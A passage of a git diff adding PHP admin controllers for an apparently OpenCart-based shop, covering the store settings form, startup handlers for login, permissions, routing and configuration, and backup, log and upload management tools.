+ } else {
+ $data['config_image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['config_image']) && is_file(DIR_IMAGE . $this->request->post['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['config_image'], 100, 100);
+ } elseif (isset($store_info['config_image']) && is_file(DIR_IMAGE . $store_info['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($store_info['config_image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_open'])) {
+ $data['config_open'] = $this->request->post['config_open'];
+ } elseif (isset($store_info['config_open'])) {
+ $data['config_open'] = $store_info['config_open'];
+ } else {
+ $data['config_open'] = '';
+ }
+
+ if (isset($this->request->post['config_comment'])) {
+ $data['config_comment'] = $this->request->post['config_comment'];
+ } elseif (isset($store_info['config_comment'])) {
+ $data['config_comment'] = $store_info['config_comment'];
+ } else {
+ $data['config_comment'] = '';
+ }
+
+ $this->load->model('localisation/location');
+
+ $data['locations'] = $this->model_localisation_location->getLocations();
+
+ if (isset($this->request->post['config_location'])) {
+ $data['config_location'] = $this->request->post['config_location'];
+ } elseif (isset($store_info['config_location'])) {
+ $data['config_location'] = $store_info['config_location'];
+ } else {
+ $data['config_location'] = array();
+ }
+
+ if (isset($this->request->post['config_country_id'])) {
+ $data['config_country_id'] = $this->request->post['config_country_id'];
+ } elseif (isset($store_info['config_country_id'])) {
+ $data['config_country_id'] = $store_info['config_country_id'];
+ } else {
+ $data['config_country_id'] = $this->config->get('config_country_id');
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['config_zone_id'])) {
+ $data['config_zone_id'] = $this->request->post['config_zone_id'];
+ } elseif (isset($store_info['config_zone_id'])) {
+ $data['config_zone_id'] = $store_info['config_zone_id'];
+ } else {
+ $data['config_zone_id'] = $this->config->get('config_zone_id');
+ }
+
+ if (isset($this->request->post['config_language'])) {
+ $data['config_language'] = $this->request->post['config_language'];
+ } elseif (isset($store_info['config_language'])) {
+ $data['config_language'] = $store_info['config_language'];
+ } else {
+ $data['config_language'] = $this->config->get('config_language');
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['config_currency'])) {
+ $data['config_currency'] = $this->request->post['config_currency'];
+ } elseif (isset($store_info['config_currency'])) {
+ $data['config_currency'] = $store_info['config_currency'];
+ } else {
+ $data['config_currency'] = $this->config->get('config_currency');
+ }
+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ if (isset($this->request->post['config_tax'])) {
+ $data['config_tax'] = $this->request->post['config_tax'];
+ } elseif (isset($store_info['config_tax'])) {
+ $data['config_tax'] = $store_info['config_tax'];
+ } else {
+ $data['config_tax'] = '';
+ }
+
+ if (isset($this->request->post['config_tax_default'])) {
+ $data['config_tax_default'] = $this->request->post['config_tax_default'];
+ } elseif (isset($store_info['config_tax_default'])) {
+ $data['config_tax_default'] = $store_info['config_tax_default'];
+ } else {
+ $data['config_tax_default'] = '';
+ }
+
+ if (isset($this->request->post['config_tax_customer'])) {
+ $data['config_tax_customer'] = $this->request->post['config_tax_customer'];
+ } elseif (isset($store_info['config_tax_customer'])) {
+ $data['config_tax_customer'] = $store_info['config_tax_customer'];
+ } else {
+ $data['config_tax_customer'] = '';
+ }
+
+ if (isset($this->request->post['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $this->request->post['config_customer_group_id'];
+ } elseif (isset($store_info['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $store_info['config_customer_group_id'];
+ } else {
+ $data['config_customer_group_id'] = '';
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $this->request->post['config_customer_group_display'];
+ } elseif (isset($store_info['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $store_info['config_customer_group_display'];
+ } else {
+ $data['config_customer_group_display'] = array();
+ }
+
+ if (isset($this->request->post['config_customer_price'])) {
+ $data['config_customer_price'] = $this->request->post['config_customer_price'];
+ } elseif (isset($store_info['config_customer_price'])) {
+ $data['config_customer_price'] = $store_info['config_customer_price'];
+ } else {
+ $data['config_customer_price'] = '';
+ }
+
+ if (isset($this->request->post['config_account_id'])) {
+ $data['config_account_id'] = $this->request->post['config_account_id'];
+ } elseif (isset($store_info['config_account_id'])) {
+ $data['config_account_id'] = $store_info['config_account_id'];
+ } else {
+ $data['config_account_id'] = '';
+ }
+
+ $this->load->model('catalog/information');
+
+ $data['informations'] = $this->model_catalog_information->getInformations();
+
+ if (isset($this->request->post['config_cart_weight'])) {
+ $data['config_cart_weight'] = $this->request->post['config_cart_weight'];
+ } elseif (isset($store_info['config_cart_weight'])) {
+ $data['config_cart_weight'] = $store_info['config_cart_weight'];
+ } else {
+ $data['config_cart_weight'] = '';
+ }
+
+ if (isset($this->request->post['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $this->request->post['config_checkout_guest'];
+ } elseif (isset($store_info['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $store_info['config_checkout_guest'];
+ } else {
+ $data['config_checkout_guest'] = '';
+ }
+
+ if (isset($this->request->post['config_checkout_id'])) {
+ $data['config_checkout_id'] = $this->request->post['config_checkout_id'];
+ } elseif (isset($store_info['config_checkout_id'])) {
+ $data['config_checkout_id'] = $store_info['config_checkout_id'];
+ } else {
+ $data['config_checkout_id'] = '';
+ }
+
+ if (isset($this->request->post['config_order_status_id'])) {
+ $data['config_order_status_id'] = $this->request->post['config_order_status_id'];
+ } elseif (isset($store_info['config_order_status_id'])) {
+ $data['config_order_status_id'] = $store_info['config_order_status_id'];
+ } else {
+ $data['config_order_status_id'] = '';
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['config_stock_display'])) {
+ $data['config_stock_display'] = $this->request->post['config_stock_display'];
+ } elseif (isset($store_info['config_stock_display'])) {
+ $data['config_stock_display'] = $store_info['config_stock_display'];
+ } else {
+ $data['config_stock_display'] = '';
+ }
+
+ if (isset($this->request->post['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $this->request->post['config_stock_checkout'];
+ } elseif (isset($store_info['config_stock_checkout'])) {
+ $data['config_stock_checkout'] = $store_info['config_stock_checkout'];
+ } else {
+ $data['config_stock_checkout'] = '';
+ }
+
+ if (isset($this->request->post['config_logo'])) {
+ $data['config_logo'] = $this->request->post['config_logo'];
+ } elseif (isset($store_info['config_logo'])) {
+ $data['config_logo'] = $store_info['config_logo'];
+ } else {
+ $data['config_logo'] = '';
+ }
+
+ if (isset($this->request->post['config_logo']) && is_file(DIR_IMAGE . $this->request->post['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($this->request->post['config_logo'], 100, 100);
+ } elseif (isset($store_info['config_logo']) && is_file(DIR_IMAGE . $store_info['config_logo'])) {
+ $data['logo'] = $this->model_tool_image->resize($store_info['config_logo'], 100, 100);
+ } else {
+ $data['logo'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_icon'])) {
+ $data['config_icon'] = $this->request->post['config_icon'];
+ } elseif (isset($store_info['config_icon'])) {
+ $data['config_icon'] = $store_info['config_icon'];
+ } else {
+ $data['config_icon'] = '';
+ }
+
+ if (isset($this->request->post['config_icon']) && is_file(DIR_IMAGE . $this->request->post['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($this->request->post['config_icon'], 100, 100);
+ } elseif (isset($store_info['config_icon']) && is_file(DIR_IMAGE . $store_info['config_icon'])) {
+ $data['icon'] = $this->model_tool_image->resize($store_info['config_icon'], 100, 100);
+ } else {
+ $data['icon'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ if (isset($this->request->post['config_secure'])) {
+ $data['config_secure'] = $this->request->post['config_secure'];
+ } elseif (isset($store_info['config_secure'])) {
+ $data['config_secure'] = $store_info['config_secure'];
+ } else {
+ $data['config_secure'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('setting/store_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'setting/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['config_url']) {
+ $this->error['url'] = $this->language->get('error_url');
+ }
+
+ if (!$this->request->post['config_meta_title']) {
+ $this->error['meta_title'] = $this->language->get('error_meta_title');
+ }
+
+ if (!$this->request->post['config_name']) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['config_owner']) < 3) || (utf8_strlen($this->request->post['config_owner']) > 64)) {
+ $this->error['owner'] = $this->language->get('error_owner');
+ }
+
+ if ((utf8_strlen($this->request->post['config_address']) < 3) || (utf8_strlen($this->request->post['config_address']) > 256)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['config_email']) > 96) || !filter_var($this->request->post['config_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['email'] = $this->language->get('error_email');
+ }
+
+ if ((utf8_strlen($this->request->post['config_telephone']) < 3) || (utf8_strlen($this->request->post['config_telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ if (!empty($this->request->post['config_customer_group_display']) && !in_array($this->request->post['config_customer_group_id'], $this->request->post['config_customer_group_display'])) {
+ $this->error['customer_group_display'] = $this->language->get('error_customer_group_display');
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'setting/store')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $store_id) {
+ if (!$store_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_sale_order->getTotalOrdersByStoreId($store_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/startup/error.php b/public/admin/controller/startup/error.php
new file mode 100644
index 0000000..8489b9c
--- /dev/null
+++ b/public/admin/controller/startup/error.php
@@ -0,0 +1,43 @@
+registry->set('log', new Log($this->config->get('config_error_filename') ? $this->config->get('config_error_filename') : $this->config->get('error_filename')));
+
+ set_error_handler(array($this, 'handler'));
+ }
+
+ public function handler($code, $message, $file, $line) {
+ // error suppressed with @
+ if (error_reporting() === 0) {
+ return false;
+ }
+
+ switch ($code) {
+ case E_NOTICE:
+ case E_USER_NOTICE:
+ $error = 'Notice';
+ break;
+ case E_WARNING:
+ case E_USER_WARNING:
+ $error = 'Warning';
+ break;
+ case E_ERROR:
+ case E_USER_ERROR:
+ $error = 'Fatal Error';
+ break;
+ default:
+ $error = 'Unknown';
+ break;
+ }
+
+ if ($this->config->get('config_error_display')) {
+ echo '' . $error . ' : ' . $message . ' in ' . $file . ' on line ' . $line . ' ';
+ }
+
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . $error . ': ' . $message . ' in ' . $file . ' on line ' . $line);
+ }
+
+ return true;
+ }
+}
diff --git a/public/admin/controller/startup/event.php b/public/admin/controller/startup/event.php
new file mode 100644
index 0000000..2aa9604
--- /dev/null
+++ b/public/admin/controller/startup/event.php
@@ -0,0 +1,15 @@
+load->model('setting/event');
+
+ $results = $this->model_setting_event->getEvents();
+
+ foreach ($results as $result) {
+ if ((substr($result['trigger'], 0, 6) == 'admin/') && $result['status']) {
+ $this->event->register(substr($result['trigger'], 6), new Action($result['action']), $result['sort_order']);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/startup/login.php b/public/admin/controller/startup/login.php
new file mode 100644
index 0000000..da058cc
--- /dev/null
+++ b/public/admin/controller/startup/login.php
@@ -0,0 +1,38 @@
+request->get['route']) ? $this->request->get['route'] : '';
+
+ $ignore = array(
+ 'common/login',
+ 'common/forgotten',
+ 'common/reset'
+ );
+
+ // User
+ $this->registry->set('user', new Cart\User($this->registry));
+
+ if (!$this->user->isLogged() && !in_array($route, $ignore)) {
+ return new Action('common/login');
+ }
+
+ if (isset($this->request->get['route'])) {
+ $ignore = array(
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ if (!in_array($route, $ignore) && (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token']))) {
+ return new Action('common/login');
+ }
+ } else {
+ if (!isset($this->request->get['user_token']) || !isset($this->session->data['user_token']) || ($this->request->get['user_token'] != $this->session->data['user_token'])) {
+ return new Action('common/login');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/startup/permission.php b/public/admin/controller/startup/permission.php
new file mode 100644
index 0000000..83c7436
--- /dev/null
+++ b/public/admin/controller/startup/permission.php
@@ -0,0 +1,55 @@
+request->get['route'])) {
+ $route = '';
+
+ $part = explode('/', $this->request->get['route']);
+
+ if (isset($part[0])) {
+ $route .= $part[0];
+ }
+
+ if (isset($part[1])) {
+ $route .= '/' . $part[1];
+ }
+
+ // If a 3rd part is found we need to check if its under one of the extension folders.
+ $extension = array(
+ 'extension/advertise',
+ 'extension/dashboard',
+ 'extension/analytics',
+ 'extension/captcha',
+ 'extension/currency',
+ 'extension/extension',
+ 'extension/feed',
+ 'extension/fraud',
+ 'extension/module',
+ 'extension/payment',
+ 'extension/shipping',
+ 'extension/theme',
+ 'extension/total',
+ 'extension/report'
+ );
+
+ if (isset($part[2]) && in_array($route, $extension)) {
+ $route .= '/' . $part[2];
+ }
+
+ // We want to ingore some pages from having its permission checked.
+ $ignore = array(
+ 'common/dashboard',
+ 'common/login',
+ 'common/logout',
+ 'common/forgotten',
+ 'common/reset',
+ 'error/not_found',
+ 'error/permission'
+ );
+
+ if (!in_array($route, $ignore) && !$this->user->hasPermission('access', $route)) {
+ return new Action('error/permission');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/startup/router.php b/public/admin/controller/startup/router.php
new file mode 100644
index 0000000..ec8e0ca
--- /dev/null
+++ b/public/admin/controller/startup/router.php
@@ -0,0 +1,37 @@
+request->get['route']) && $this->request->get['route'] != 'startup/router') {
+ $route = $this->request->get['route'];
+ } else {
+ $route = $this->config->get('action_default');
+ }
+
+ $data = array();
+
+ // Sanitize the call
+ $route = preg_replace('/[^a-zA-Z0-9_\/]/', '', (string)$route);
+
+ // Trigger the pre events
+ $result = $this->event->trigger('controller/' . $route . '/before', array(&$route, &$data));
+
+ if (!is_null($result)) {
+ return $result;
+ }
+
+ $action = new Action($route);
+
+ // Any output needs to be another Action object.
+ $output = $action->execute($this->registry, $data);
+
+ // Trigger the post events
+ $result = $this->event->trigger('controller/' . $route . '/after', array(&$route, &$output));
+
+ if (!is_null($result)) {
+ return $result;
+ }
+
+ return $output;
+ }
+}
diff --git a/public/admin/controller/startup/startup.php b/public/admin/controller/startup/startup.php
new file mode 100644
index 0000000..87b4b70
--- /dev/null
+++ b/public/admin/controller/startup/startup.php
@@ -0,0 +1,69 @@
+db->query("SELECT * FROM " . DB_PREFIX . "setting WHERE store_id = '0'");
+
+ foreach ($query->rows as $setting) {
+ if (!$setting['serialized']) {
+ $this->config->set($setting['key'], $setting['value']);
+ } else {
+ $this->config->set($setting['key'], json_decode($setting['value'], true));
+ }
+ }
+
+ // Set time zone
+ if ($this->config->get('config_timezone')) {
+ date_default_timezone_set($this->config->get('config_timezone'));
+
+ // Sync PHP and DB time zones.
+ $this->db->query("SET time_zone = '" . $this->db->escape(date('P')) . "'");
+ }
+
+ // Theme
+ $this->config->set('template_cache', $this->config->get('developer_theme'));
+
+ // Language
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE code = '" . $this->db->escape($this->config->get('config_admin_language')) . "'");
+
+ if ($query->num_rows) {
+ $this->config->set('config_language_id', $query->row['language_id']);
+ }
+
+ // Language
+ $language = new Language($this->config->get('config_admin_language'));
+ $language->load($this->config->get('config_admin_language'));
+ $this->registry->set('language', $language);
+
+ // Customer
+ $this->registry->set('customer', new Cart\Customer($this->registry));
+
+ // Currency
+ $this->registry->set('currency', new Cart\Currency($this->registry));
+
+ // Tax
+ $this->registry->set('tax', new Cart\Tax($this->registry));
+
+ if ($this->config->get('config_tax_default') == 'shipping') {
+ $this->tax->setShippingAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+ }
+
+ if ($this->config->get('config_tax_default') == 'payment') {
+ $this->tax->setPaymentAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+ }
+
+ $this->tax->setStoreAddress($this->config->get('config_country_id'), $this->config->get('config_zone_id'));
+
+ // Weight
+ $this->registry->set('weight', new Cart\Weight($this->registry));
+
+ // Length
+ $this->registry->set('length', new Cart\Length($this->registry));
+
+ // Cart
+ $this->registry->set('cart', new Cart\Cart($this->registry));
+
+ // Encryption
+ $this->registry->set('encryption', new Encryption($this->config->get('config_encryption')));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/tool/backup.php b/public/admin/controller/tool/backup.php
new file mode 100644
index 0000000..0d10652
--- /dev/null
+++ b/public/admin/controller/tool/backup.php
@@ -0,0 +1,160 @@
+load->language('tool/backup');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['export'] = $this->url->link('tool/backup/export', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('tool/backup');
+
+ $data['tables'] = $this->model_tool_backup->getTables();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/backup', $data));
+ }
+
+ public function import() {
+ $this->load->language('tool/backup');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'tool/backup')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (isset($this->request->files['import']['tmp_name']) && is_uploaded_file($this->request->files['import']['tmp_name'])) {
+ $filename = tempnam(DIR_UPLOAD, 'bac');
+
+ move_uploaded_file($this->request->files['import']['tmp_name'], $filename);
+ } elseif (isset($this->request->get['import'])) {
+ $filename = DIR_UPLOAD . basename(html_entity_decode($this->request->get['import'], ENT_QUOTES, 'UTF-8'));
+ } else {
+ $filename = '';
+ }
+
+ if (!is_file($filename)) {
+ $json['error'] = $this->language->get('error_file');
+ }
+
+ if (isset($this->request->get['position'])) {
+ $position = $this->request->get['position'];
+ } else {
+ $position = 0;
+ }
+
+ if (!$json) {
+ // We set $i so we can batch execute the queries rather than do them all at once.
+ $i = 0;
+ $start = false;
+
+ $handle = fopen($filename, 'r');
+
+ fseek($handle, $position, SEEK_SET);
+
+ while (!feof($handle) && ($i < 100)) {
+ $position = ftell($handle);
+
+ $line = fgets($handle, 1000000);
+
+ if (substr($line, 0, 14) == 'TRUNCATE TABLE' || substr($line, 0, 11) == 'INSERT INTO') {
+ $sql = '';
+
+ $start = true;
+ }
+
+ if ($i > 0 && (substr($line, 0, 24) == 'TRUNCATE TABLE `oc_user`' || substr($line, 0, 30) == 'TRUNCATE TABLE `oc_user_group`')) {
+ fseek($handle, $position, SEEK_SET);
+
+ break;
+ }
+
+ if ($start) {
+ $sql .= $line;
+ }
+
+ if ($start && substr($line, -2) == ";\n") {
+ $this->db->query(substr($sql, 0, strlen($sql) -2));
+
+ $start = false;
+ }
+
+ $i++;
+ }
+
+ $position = ftell($handle);
+
+ $size = filesize($filename);
+
+ $json['total'] = round(($position / $size) * 100);
+
+ if ($position && !feof($handle)) {
+ $json['next'] = str_replace('&', '&', $this->url->link('tool/backup/import', 'user_token=' . $this->session->data['user_token'] . '&import=' . $filename . '&position=' . $position, true));
+
+ fclose($handle);
+ } else {
+ fclose($handle);
+
+ unlink($filename);
+
+ $json['success'] = $this->language->get('text_success');
+
+ $this->cache->delete('*');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function export() {
+ $this->load->language('tool/backup');
+
+ if (!isset($this->request->post['backup'])) {
+ $this->session->data['error'] = $this->language->get('error_export');
+
+ $this->response->redirect($this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true));
+ } elseif (!$this->user->hasPermission('modify', 'tool/backup')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+
+ $this->response->redirect($this->url->link('tool/backup', 'user_token=' . $this->session->data['user_token'], true));
+ } else {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . DB_DATABASE . '_' . date('Y-m-d_H-i-s', time()) . '_backup.sql"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->load->model('tool/backup');
+
+ $this->response->setOutput($this->model_tool_backup->backup($this->request->post['backup']));
+ }
+ }
+}
diff --git a/public/admin/controller/tool/log.php b/public/admin/controller/tool/log.php
new file mode 100644
index 0000000..389b95a
--- /dev/null
+++ b/public/admin/controller/tool/log.php
@@ -0,0 +1,121 @@
+load->language('tool/log');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if (isset($this->session->data['error'])) {
+ $data['error_warning'] = $this->session->data['error'];
+
+ unset($this->session->data['error']);
+ } elseif (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['download'] = $this->url->link('tool/log/download', 'user_token=' . $this->session->data['user_token'], true);
+ $data['clear'] = $this->url->link('tool/log/clear', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['log'] = '';
+
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ if (file_exists($file)) {
+ $size = filesize($file);
+
+ if ($size >= 5242880) {
+ $suffix = array(
+ 'B',
+ 'KB',
+ 'MB',
+ 'GB',
+ 'TB',
+ 'PB',
+ 'EB',
+ 'ZB',
+ 'YB'
+ );
+
+ $i = 0;
+
+ while (($size / 1024) > 1) {
+ $size = $size / 1024;
+ $i++;
+ }
+
+ $data['error_warning'] = sprintf($this->language->get('error_warning'), basename($file), round(substr($size, 0, strpos($size, '.') + 4), 2) . $suffix[$i]);
+ } else {
+ $data['log'] = file_get_contents($file, FILE_USE_INCLUDE_PATH, null);
+ }
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('tool/log', $data));
+ }
+
+ public function download() {
+ $this->load->language('tool/log');
+
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ if (file_exists($file) && filesize($file) > 0) {
+ $this->response->addheader('Pragma: public');
+ $this->response->addheader('Expires: 0');
+ $this->response->addheader('Content-Description: File Transfer');
+ $this->response->addheader('Content-Type: application/octet-stream');
+ $this->response->addheader('Content-Disposition: attachment; filename="' . $this->config->get('config_name') . '_' . date('Y-m-d_H-i-s', time()) . '_error.log"');
+ $this->response->addheader('Content-Transfer-Encoding: binary');
+
+ $this->response->setOutput(file_get_contents($file, FILE_USE_INCLUDE_PATH, null));
+ } else {
+ $this->session->data['error'] = sprintf($this->language->get('error_warning'), basename($file), '0B');
+
+ $this->response->redirect($this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ public function clear() {
+ $this->load->language('tool/log');
+
+ if (!$this->user->hasPermission('modify', 'tool/log')) {
+ $this->session->data['error'] = $this->language->get('error_permission');
+ } else {
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+
+ $handle = fopen($file, 'w+');
+
+ fclose($handle);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->redirect($this->url->link('tool/log', 'user_token=' . $this->session->data['user_token'], true));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/tool/upload.php b/public/admin/controller/tool/upload.php
new file mode 100644
index 0000000..d640d0a
--- /dev/null
+++ b/public/admin/controller/tool/upload.php
@@ -0,0 +1,396 @@
+load->language('tool/upload');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('tool/upload');
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('tool/upload');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('tool/upload');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $upload_id) {
+ // Remove file before deleting DB record.
+ $upload_info = $this->model_tool_upload->getUpload($upload_id);
+
+ if ($upload_info && is_file(DIR_UPLOAD . $upload_info['filename'])) {
+ unlink(DIR_UPLOAD . $upload_info['filename']);
+ }
+
+ $this->model_tool_upload->deleteUpload($upload_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'date_added';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('tool/upload', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['delete'] = $this->url->link('tool/upload/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['uploads'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $upload_total = $this->model_tool_upload->getTotalUploads($filter_data);
+
+ $results = $this->model_tool_upload->getUploads($filter_data);
+
+ foreach ($results as $result) {
